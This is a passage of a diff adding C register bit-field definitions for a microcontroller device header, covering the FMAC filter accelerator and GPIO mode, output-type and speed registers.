FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + + +/******************************************************************************/ +/* */ +/* General Purpose IOs (GPIO) */ +/* */ +/******************************************************************************/ +/****************** Bits definition for GPIO_MODER register *****************/ +#define GPIO_MODER_MODE0_Pos (0UL) +#define GPIO_MODER_MODE0_Msk (0x3UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000003 */ +#define GPIO_MODER_MODE0 GPIO_MODER_MODE0_Msk +#define GPIO_MODER_MODE0_0 (0x1UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000001 */ +#define GPIO_MODER_MODE0_1 (0x2UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000002 */ +#define GPIO_MODER_MODE1_Pos (2UL) +#define GPIO_MODER_MODE1_Msk (0x3UL << GPIO_MODER_MODE1_Pos) /*!< 0x0000000C */ +#define GPIO_MODER_MODE1 GPIO_MODER_MODE1_Msk +#define GPIO_MODER_MODE1_0 (0x1UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000004 */ +#define GPIO_MODER_MODE1_1 (0x2UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000008 */ +#define GPIO_MODER_MODE2_Pos (4UL) +#define GPIO_MODER_MODE2_Msk (0x3UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000030 */ +#define GPIO_MODER_MODE2 GPIO_MODER_MODE2_Msk +#define GPIO_MODER_MODE2_0 (0x1UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000010 */ +#define GPIO_MODER_MODE2_1 (0x2UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000020 */ +#define GPIO_MODER_MODE3_Pos (6UL) +#define GPIO_MODER_MODE3_Msk (0x3UL << GPIO_MODER_MODE3_Pos) /*!< 0x000000C0 */ +#define GPIO_MODER_MODE3 GPIO_MODER_MODE3_Msk +#define GPIO_MODER_MODE3_0 (0x1UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000040 */ +#define GPIO_MODER_MODE3_1 (0x2UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000080 */ +#define GPIO_MODER_MODE4_Pos (8UL) +#define GPIO_MODER_MODE4_Msk (0x3UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000300 */ +#define GPIO_MODER_MODE4 GPIO_MODER_MODE4_Msk +#define GPIO_MODER_MODE4_0 (0x1UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000100 */ +#define GPIO_MODER_MODE4_1 (0x2UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000200 */ +#define GPIO_MODER_MODE5_Pos (10UL) +#define GPIO_MODER_MODE5_Msk (0x3UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000C00 */ +#define GPIO_MODER_MODE5 GPIO_MODER_MODE5_Msk +#define GPIO_MODER_MODE5_0 (0x1UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000400 */ +#define GPIO_MODER_MODE5_1 (0x2UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000800 */ +#define GPIO_MODER_MODE6_Pos (12UL) +#define GPIO_MODER_MODE6_Msk (0x3UL << GPIO_MODER_MODE6_Pos) /*!< 0x00003000 */ +#define GPIO_MODER_MODE6 GPIO_MODER_MODE6_Msk +#define GPIO_MODER_MODE6_0 (0x1UL << GPIO_MODER_MODE6_Pos) /*!< 0x00001000 */ +#define GPIO_MODER_MODE6_1 (0x2UL << GPIO_MODER_MODE6_Pos) /*!< 0x00002000 */ +#define GPIO_MODER_MODE7_Pos (14UL) +#define GPIO_MODER_MODE7_Msk (0x3UL << GPIO_MODER_MODE7_Pos) /*!< 0x0000C000 */ +#define GPIO_MODER_MODE7 GPIO_MODER_MODE7_Msk +#define GPIO_MODER_MODE7_0 (0x1UL << GPIO_MODER_MODE7_Pos) /*!< 0x00004000 */ +#define GPIO_MODER_MODE7_1 (0x2UL << GPIO_MODER_MODE7_Pos) /*!< 0x00008000 */ +#define GPIO_MODER_MODE8_Pos (16UL) +#define GPIO_MODER_MODE8_Msk (0x3UL << GPIO_MODER_MODE8_Pos) /*!< 0x00030000 */ +#define GPIO_MODER_MODE8 GPIO_MODER_MODE8_Msk +#define GPIO_MODER_MODE8_0 (0x1UL << GPIO_MODER_MODE8_Pos) /*!< 0x00010000 */ +#define GPIO_MODER_MODE8_1 (0x2UL << GPIO_MODER_MODE8_Pos) /*!< 0x00020000 */ +#define GPIO_MODER_MODE9_Pos (18UL) +#define GPIO_MODER_MODE9_Msk (0x3UL << GPIO_MODER_MODE9_Pos) /*!< 0x000C0000 */ +#define GPIO_MODER_MODE9 GPIO_MODER_MODE9_Msk +#define GPIO_MODER_MODE9_0 (0x1UL << GPIO_MODER_MODE9_Pos) /*!< 0x00040000 */ +#define GPIO_MODER_MODE9_1 (0x2UL << GPIO_MODER_MODE9_Pos) /*!< 0x00080000 */ +#define GPIO_MODER_MODE10_Pos (20UL) +#define GPIO_MODER_MODE10_Msk (0x3UL << GPIO_MODER_MODE10_Pos) /*!< 0x00300000 */ +#define GPIO_MODER_MODE10 GPIO_MODER_MODE10_Msk +#define GPIO_MODER_MODE10_0 (0x1UL << GPIO_MODER_MODE10_Pos) /*!< 0x00100000 */ +#define GPIO_MODER_MODE10_1 (0x2UL << GPIO_MODER_MODE10_Pos) /*!< 0x00200000 */ +#define GPIO_MODER_MODE11_Pos (22UL) +#define GPIO_MODER_MODE11_Msk (0x3UL << GPIO_MODER_MODE11_Pos) /*!< 0x00C00000 */ +#define GPIO_MODER_MODE11 GPIO_MODER_MODE11_Msk +#define GPIO_MODER_MODE11_0 (0x1UL << GPIO_MODER_MODE11_Pos) /*!< 0x00400000 */ +#define GPIO_MODER_MODE11_1 (0x2UL << GPIO_MODER_MODE11_Pos) /*!< 0x00800000 */ +#define GPIO_MODER_MODE12_Pos (24UL) +#define GPIO_MODER_MODE12_Msk (0x3UL << GPIO_MODER_MODE12_Pos) /*!< 0x03000000 */ +#define GPIO_MODER_MODE12 GPIO_MODER_MODE12_Msk +#define GPIO_MODER_MODE12_0 (0x1UL << GPIO_MODER_MODE12_Pos) /*!< 0x01000000 */ +#define GPIO_MODER_MODE12_1 (0x2UL << GPIO_MODER_MODE12_Pos) /*!< 0x02000000 */ +#define GPIO_MODER_MODE13_Pos (26UL) +#define GPIO_MODER_MODE13_Msk (0x3UL << GPIO_MODER_MODE13_Pos) /*!< 0x0C000000 */ +#define GPIO_MODER_MODE13 GPIO_MODER_MODE13_Msk +#define GPIO_MODER_MODE13_0 (0x1UL << GPIO_MODER_MODE13_Pos) /*!< 0x04000000 */ +#define GPIO_MODER_MODE13_1 (0x2UL << GPIO_MODER_MODE13_Pos) /*!< 0x08000000 */ +#define GPIO_MODER_MODE14_Pos (28UL) +#define GPIO_MODER_MODE14_Msk (0x3UL << GPIO_MODER_MODE14_Pos) /*!< 0x30000000 */ +#define GPIO_MODER_MODE14 GPIO_MODER_MODE14_Msk +#define GPIO_MODER_MODE14_0 (0x1UL << GPIO_MODER_MODE14_Pos) /*!< 0x10000000 */ +#define GPIO_MODER_MODE14_1 (0x2UL << GPIO_MODER_MODE14_Pos) /*!< 0x20000000 */ +#define GPIO_MODER_MODE15_Pos (30UL) +#define GPIO_MODER_MODE15_Msk (0x3UL << GPIO_MODER_MODE15_Pos) /*!< 0xC0000000 */ +#define GPIO_MODER_MODE15 GPIO_MODER_MODE15_Msk +#define GPIO_MODER_MODE15_0 (0x1UL << GPIO_MODER_MODE15_Pos) /*!< 0x40000000 */ +#define GPIO_MODER_MODE15_1 (0x2UL << GPIO_MODER_MODE15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_OTYPER register ****************/ +#define GPIO_OTYPER_OT0_Pos (0UL) +#define GPIO_OTYPER_OT0_Msk (0x1UL << GPIO_OTYPER_OT0_Pos) /*!< 0x00000001 */ +#define GPIO_OTYPER_OT0 GPIO_OTYPER_OT0_Msk +#define GPIO_OTYPER_OT1_Pos (1UL) +#define GPIO_OTYPER_OT1_Msk (0x1UL << GPIO_OTYPER_OT1_Pos) /*!< 0x00000002 */ +#define GPIO_OTYPER_OT1 GPIO_OTYPER_OT1_Msk +#define GPIO_OTYPER_OT2_Pos (2UL) +#define GPIO_OTYPER_OT2_Msk (0x1UL << GPIO_OTYPER_OT2_Pos) /*!< 0x00000004 */ +#define GPIO_OTYPER_OT2 GPIO_OTYPER_OT2_Msk +#define GPIO_OTYPER_OT3_Pos (3UL) +#define GPIO_OTYPER_OT3_Msk (0x1UL << GPIO_OTYPER_OT3_Pos) /*!< 0x00000008 */ +#define GPIO_OTYPER_OT3 GPIO_OTYPER_OT3_Msk +#define GPIO_OTYPER_OT4_Pos (4UL) +#define GPIO_OTYPER_OT4_Msk (0x1UL << GPIO_OTYPER_OT4_Pos) /*!< 0x00000010 */ +#define GPIO_OTYPER_OT4 GPIO_OTYPER_OT4_Msk +#define GPIO_OTYPER_OT5_Pos (5UL) +#define GPIO_OTYPER_OT5_Msk (0x1UL << GPIO_OTYPER_OT5_Pos) /*!< 0x00000020 */ +#define GPIO_OTYPER_OT5 GPIO_OTYPER_OT5_Msk +#define GPIO_OTYPER_OT6_Pos (6UL) +#define GPIO_OTYPER_OT6_Msk (0x1UL << GPIO_OTYPER_OT6_Pos) /*!< 0x00000040 */ +#define GPIO_OTYPER_OT6 GPIO_OTYPER_OT6_Msk +#define GPIO_OTYPER_OT7_Pos (7UL) +#define GPIO_OTYPER_OT7_Msk (0x1UL << GPIO_OTYPER_OT7_Pos) /*!< 0x00000080 */ +#define GPIO_OTYPER_OT7 GPIO_OTYPER_OT7_Msk +#define GPIO_OTYPER_OT8_Pos (8UL) +#define GPIO_OTYPER_OT8_Msk (0x1UL << GPIO_OTYPER_OT8_Pos) /*!< 0x00000100 */ +#define GPIO_OTYPER_OT8 GPIO_OTYPER_OT8_Msk +#define GPIO_OTYPER_OT9_Pos (9UL) +#define GPIO_OTYPER_OT9_Msk (0x1UL << GPIO_OTYPER_OT9_Pos) /*!< 0x00000200 */ +#define GPIO_OTYPER_OT9 GPIO_OTYPER_OT9_Msk +#define GPIO_OTYPER_OT10_Pos (10UL) +#define GPIO_OTYPER_OT10_Msk (0x1UL << GPIO_OTYPER_OT10_Pos) /*!< 0x00000400 */ +#define GPIO_OTYPER_OT10 GPIO_OTYPER_OT10_Msk +#define GPIO_OTYPER_OT11_Pos (11UL) +#define GPIO_OTYPER_OT11_Msk (0x1UL << GPIO_OTYPER_OT11_Pos) /*!< 0x00000800 */ +#define GPIO_OTYPER_OT11 GPIO_OTYPER_OT11_Msk +#define GPIO_OTYPER_OT12_Pos (12UL) +#define GPIO_OTYPER_OT12_Msk (0x1UL << GPIO_OTYPER_OT12_Pos) /*!< 0x00001000 */ +#define GPIO_OTYPER_OT12 GPIO_OTYPER_OT12_Msk +#define GPIO_OTYPER_OT13_Pos (13UL) +#define GPIO_OTYPER_OT13_Msk (0x1UL << GPIO_OTYPER_OT13_Pos) /*!< 0x00002000 */ +#define GPIO_OTYPER_OT13 GPIO_OTYPER_OT13_Msk +#define GPIO_OTYPER_OT14_Pos (14UL) +#define GPIO_OTYPER_OT14_Msk (0x1UL << GPIO_OTYPER_OT14_Pos) /*!< 0x00004000 */ +#define GPIO_OTYPER_OT14 GPIO_OTYPER_OT14_Msk +#define GPIO_OTYPER_OT15_Pos (15UL) +#define GPIO_OTYPER_OT15_Msk (0x1UL << GPIO_OTYPER_OT15_Pos) /*!< 0x00008000 */ +#define GPIO_OTYPER_OT15 GPIO_OTYPER_OT15_Msk + +/****************** Bits definition for GPIO_OSPEEDR register ***************/ +#define GPIO_OSPEEDR_OSPEED0_Pos (0UL) +#define GPIO_OSPEEDR_OSPEED0_Msk (0x3UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000003 */ +#define GPIO_OSPEEDR_OSPEED0 GPIO_OSPEEDR_OSPEED0_Msk +#define GPIO_OSPEEDR_OSPEED0_0 (0x1UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000001 */ +#define GPIO_OSPEEDR_OSPEED0_1 (0x2UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000002 */ +#define GPIO_OSPEEDR_OSPEED1_Pos (2UL) +#define GPIO_OSPEEDR_OSPEED1_Msk (0x3UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x0000000C */ +#define GPIO_OSPEEDR_OSPEED1 GPIO_OSPEEDR_OSPEED1_Msk +#define GPIO_OSPEEDR_OSPEED1_0 (0x1UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000004 */ +#define GPIO_OSPEEDR_OSPEED1_1 (0x2UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000008 */ +#define GPIO_OSPEEDR_OSPEED2_Pos (4UL) +#define GPIO_OSPEEDR_OSPEED2_Msk (0x3UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000030 */ +#define GPIO_OSPEEDR_OSPEED2 GPIO_OSPEEDR_OSPEED2_Msk +#define GPIO_OSPEEDR_OSPEED2_0 (0x1UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000010 */ +#define GPIO_OSPEEDR_OSPEED2_1 (0x2UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000020 */ +#define GPIO_OSPEEDR_OSPEED3_Pos (6UL) +#define GPIO_OSPEEDR_OSPEED3_Msk (0x3UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x000000C0 */ +#define GPIO_OSPEEDR_OSPEED3 GPIO_OSPEEDR_OSPEED3_Msk +#define GPIO_OSPEEDR_OSPEED3_0 (0x1UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000040 */ +#define GPIO_OSPEEDR_OSPEED3_1 (0x2UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000080 */ +#define GPIO_OSPEEDR_OSPEED4_Pos (8UL) +#define GPIO_OSPEEDR_OSPEED4_Msk (0x3UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000300 */ +#define GPIO_OSPEEDR_OSPEED4 GPIO_OSPEEDR_OSPEED4_Msk +#define GPIO_OSPEEDR_OSPEED4_0 (0x1UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000100 */ +#define GPIO_OSPEEDR_OSPEED4_1 (0x2UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000200 */ +#define GPIO_OSPEEDR_OSPEED5_Pos (10UL) +#define GPIO_OSPEEDR_OSPEED5_Msk (0x3UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000C00 */ +#define GPIO_OSPEEDR_OSPEED5 GPIO_OSPEEDR_OSPEED5_Msk +#define GPIO_OSPEEDR_OSPEED5_0 (0x1UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000400 */ +#define GPIO_OSPEEDR_OSPEED5_1 (0x2UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000800 */ +#define GPIO_OSPEEDR_OSPEED6_Pos (12UL) +#define GPIO_OSPEEDR_OSPEED6_Msk (0x3UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00003000 */ +#define GPIO_OSPEEDR_OSPEED6 GPIO_OSPEEDR_OSPEED6_Msk +#define GPIO_OSPEEDR_OSPEED6_0 (0x1UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00001000 */ +#define GPIO_OSPEEDR_OSPEED6_1 (0x2UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00002000 */ +#define GPIO_OSPEEDR_OSPEED7_Pos (14UL) +#define GPIO_OSPEEDR_OSPEED7_Msk (0x3UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x0000C000 */ +#define GPIO_OSPEEDR_OSPEED7 GPIO_OSPEEDR_OSPEED7_Msk +#define GPIO_OSPEEDR_OSPEED7_0 (0x1UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00004000 */ +#define GPIO_OSPEEDR_OSPEED7_1 (0x2UL << GPIO_OSPEEDR_OSPEED7_Pos) /*!< 0x00008000 */ +#define GPIO_OSPEEDR_OSPEED8_Pos (16UL) +#define GPIO_OSPEEDR_OSPEED8_Msk (0x3UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00030000 */ +#define GPIO_OSPEEDR_OSPEED8 GPIO_OSPEEDR_OSPEED8_Msk +#define GPIO_OSPEEDR_OSPEED8_0 (0x1UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00010000 */ +#define GPIO_OSPEEDR_OSPEED8_1 (0x2UL << GPIO_OSPEEDR_OSPEED8_Pos) /*!< 0x00020000 */ +#define GPIO_OSPEEDR_OSPEED9_Pos (18UL) +#define GPIO_OSPEEDR_OSPEED9_Msk (0x3UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x000C0000 */ +#define GPIO_OSPEEDR_OSPEED9 GPIO_OSPEEDR_OSPEED9_Msk +#define GPIO_OSPEEDR_OSPEED9_0 (0x1UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00040000 */ +#define GPIO_OSPEEDR_OSPEED9_1 (0x2UL << GPIO_OSPEEDR_OSPEED9_Pos) /*!< 0x00080000 */ +#define GPIO_OSPEEDR_OSPEED10_Pos (20UL) +#define GPIO_OSPEEDR_OSPEED10_Msk (0x3UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00300000 */ +#define GPIO_OSPEEDR_OSPEED10 GPIO_OSPEEDR_OSPEED10_Msk +#define GPIO_OSPEEDR_OSPEED10_0 (0x1UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00100000 */ +#define GPIO_OSPEEDR_OSPEED10_1 (0x2UL << GPIO_OSPEEDR_OSPEED10_Pos) /*!< 0x00200000 */ +#define GPIO_OSPEEDR_OSPEED11_Pos (22UL) +#define GPIO_OSPEEDR_OSPEED11_Msk (0x3UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00C00000 */ +#define GPIO_OSPEEDR_OSPEED11 GPIO_OSPEEDR_OSPEED11_Msk +#define GPIO_OSPEEDR_OSPEED11_0 (0x1UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00400000 */ +#define GPIO_OSPEEDR_OSPEED11_1 (0x2UL << GPIO_OSPEEDR_OSPEED11_Pos) /*!< 0x00800000 */ +#define GPIO_OSPEEDR_OSPEED12_Pos (24UL) +#define GPIO_OSPEEDR_OSPEED12_Msk (0x3UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x03000000 */ +#define GPIO_OSPEEDR_OSPEED12 GPIO_OSPEEDR_OSPEED12_Msk +#define GPIO_OSPEEDR_OSPEED12_0 (0x1UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x01000000 */ +#define GPIO_OSPEEDR_OSPEED12_1 (0x2UL << GPIO_OSPEEDR_OSPEED12_Pos) /*!< 0x02000000 */ +#define GPIO_OSPEEDR_OSPEED13_Pos (26UL) +#define GPIO_OSPEEDR_OSPEED13_Msk (0x3UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x0C000000 */ +#define GPIO_OSPEEDR_OSPEED13 GPIO_OSPEEDR_OSPEED13_Msk +#define GPIO_OSPEEDR_OSPEED13_0 (0x1UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x04000000 */ +#define GPIO_OSPEEDR_OSPEED13_1 (0x2UL << GPIO_OSPEEDR_OSPEED13_Pos) /*!< 0x08000000 */ +#define GPIO_OSPEEDR_OSPEED14_Pos (28UL) +#define GPIO_OSPEEDR_OSPEED14_Msk (0x3UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x30000000 */ +#define GPIO_OSPEEDR_OSPEED14 GPIO_OSPEEDR_OSPEED14_Msk +#define GPIO_OSPEEDR_OSPEED14_0 (0x1UL << GPIO_OSPEEDR_OSPEED14_Pos) /*!< 0x10000000 */ +#define GPIO_OSPEEDR_OSPEED14_1 (0x2UL << 